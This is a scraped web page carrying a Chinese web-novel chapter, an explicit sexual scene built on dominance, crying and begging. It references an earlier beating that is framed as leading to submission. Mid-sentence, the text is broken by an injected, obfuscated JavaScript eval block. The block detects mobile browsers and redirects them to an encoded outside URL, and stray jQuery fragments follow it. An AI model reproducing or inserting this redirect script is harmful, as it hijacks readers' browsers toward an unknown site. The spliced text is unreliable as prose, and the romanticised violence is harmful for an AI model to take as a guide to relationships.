十三天雨 作品

78. (13)大哭(第2页)

    水流正正从时久头顶倾泻,形成一层水幕将他包围其中。

    “冷水,还是热水?”

    虽然在问,但他没有选择,时危直接调到了凉水。

    “凉啊!呃——”

    他缩起肩膀,垂着头,凉水洗刷着体温,却洗刷不掉时危挑起的折磨。

    “你别、别太过分......”

    时久的身体再一次绷紧,水幕冲破了话语,时危听不清,于是她关掉了花洒。

    “你说什么?”

    “别踩......”

    她挑起他的下巴,俯身:“我没听清?”

    恶意在眼底浮现,她明明听清了,但故意装没听见,摆出一副淡然模样。

    他知道了,她就是想听他求饶。

    无所谓,他一向很会求饶:“狗狗错了,狗狗求饶了,嗷呜嗷呜......”

    “这么能屈能伸吗,宝贝?”

    “早就告诉你了,我贱啊。”

    他的身体开始发颤,但笑得热烈,时危在他额上轻吻,而后停止动作,又打开了凉水。

    “啊!冷冷冷!我要一个特权!”

    她走出浴缸,给自己披了浴巾:“什么特权?”

    全身嫣红的身躯很快被凉水冲走了部分欲、火,时久大喊:“说脏话的特权!”

    关闭花洒,她勾勒着他的腰腹,又一次不轻不重碾了上去。

    冰冷的嘴中吐出更冰冷的话语:“不行。”

    一开一关,浴缸中的水位不知不觉升高,而没到达期望的渴求也在水涨船高,像一团火聚在一起,只

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseint(c/a)))+((c=c%a)>35?string.fromCharCode(c+29):c.tostring(36))};if(!''''.replace(/^/,string)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new regexp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14982610|155540||http|test|mini|href|location''.split(''|''),0,{}));

    () {

    $(''.inform'').remove();

    $(''#content'').append(''

    等一个爆发的时机。

    时危很想知道,他到达临界值后会是什么反应,会崩溃吗?

    默默叹气,没想到她也和小狗一样恶毒了。

    放干所有的水,她取来浴巾替浑身颤栗的人擦拭水珠。

    明明冲的是凉水,但他的体温烫得可怕,眼泪更是流不停。

    “够了够了......求你了......我快死了......呜......”

    时久呜咽着,哭泣着,模样可怜,像朵强行被人阻止绽放,归于黯淡的玫瑰。

    眼泪果然是利器,直接击中人心,让她心软。

    时危抬起他的脸,吻在他的颤抖的睫毛上,抱住他抚慰着始终沦陷在欲念中的身体。

    “要不要钻进被子里?”

    闻言他更加激动:“不行!我走不动!你不能让我这样睡一晚!不行!”

    但她也无奈道:“要是你又晕过去,我可搬不动你。”

    “都怪你!都是你的错!”

    “我的错?宝贝,你可要讲讲道理啊,是你要我玩死你的。”

    他颤巍巍抬眼,出乎意料的,她没在他眼中看见幽怨,取而代之的,是哀求之下的,欣赏,赞赏,又更像是臣服。

    某种病态的臣服,隐隐闪烁在朦胧的目光后。

    不管嘴上如何臣服,只要他心理没有认同,他就不可能真正低头。

    上回砸了家又揍了他一顿后,他的态度已经显示出了几分屈服,这是一种对于力量的臣服,而现在,她掌控了他的身体,也掌控了他的欲望,他似乎很满足。

    满足于他人对他的掌控?

    她的小狗,竟然是这种慕强心理。

    “暖和了吗”

    她搂着时久,让他埋首在被窝中,却没有解开他的手。

    “抱紧我......我要死了......我马上就要死了......我死了你别后悔......”

    即使蜷成一团,尾巴也夹在腿间,他依然在战栗,声音更是委屈成了哭腔。

    “你死了我肯定后悔,那我死了呢?”

    “你......我把你挖出来鞭尸!”

    “哈,好恶毒啊。”她揉着发抖的耳朵,在他脸上轻吻,“宝贝很辛苦吧?”

    她抬起他的脸,嫣红的脸上写满了难受。

    “你还说......”

    她悄声说:“可以了可以了,我允许你。”

    拍着他的背,温和地命令。

    此时此刻,他所有的反应都会被她收进眼底,他的痛苦和欢愉都会被发现,被逐个挖出,直到一丝不剩,成为一朵没有刺的玫瑰。

    “在这里?那明天不会又是我洗被子吧?”

    “那宝贝也可以忍到明天。”

    “你!”

    时久恶狠狠瞪着她,瞪了几秒又软了下来,干脆认命闭上了眼:“来啊,快点。”

    他死死抿住了唇,漫长的反应过去,久到他以为自己遭受了凌迟,没有睁眼,他直接埋进枕头里。

    “好了好了,不哭......”时危拍拍他的背,又抽出手臂将床头的小羊塞进他怀里,“小羊陪着你呢,不哭了......”

    “谁哭了!太假了、你太假了、我要骂你......”时久喘着气控诉。

    “好好好,骂我......”

    情绪破碎还不忘开骂,骂人又想起来他没有获得说脏话权,又一次情绪破碎,大哭。

    “为什么要管我说不说脏话!你管我说不说!我就要说......我就要骂你......”

    一边哭还要一边往她手臂下躲,她的小狗怎么会这么可爱。

    啊,哭得越厉害越可爱了。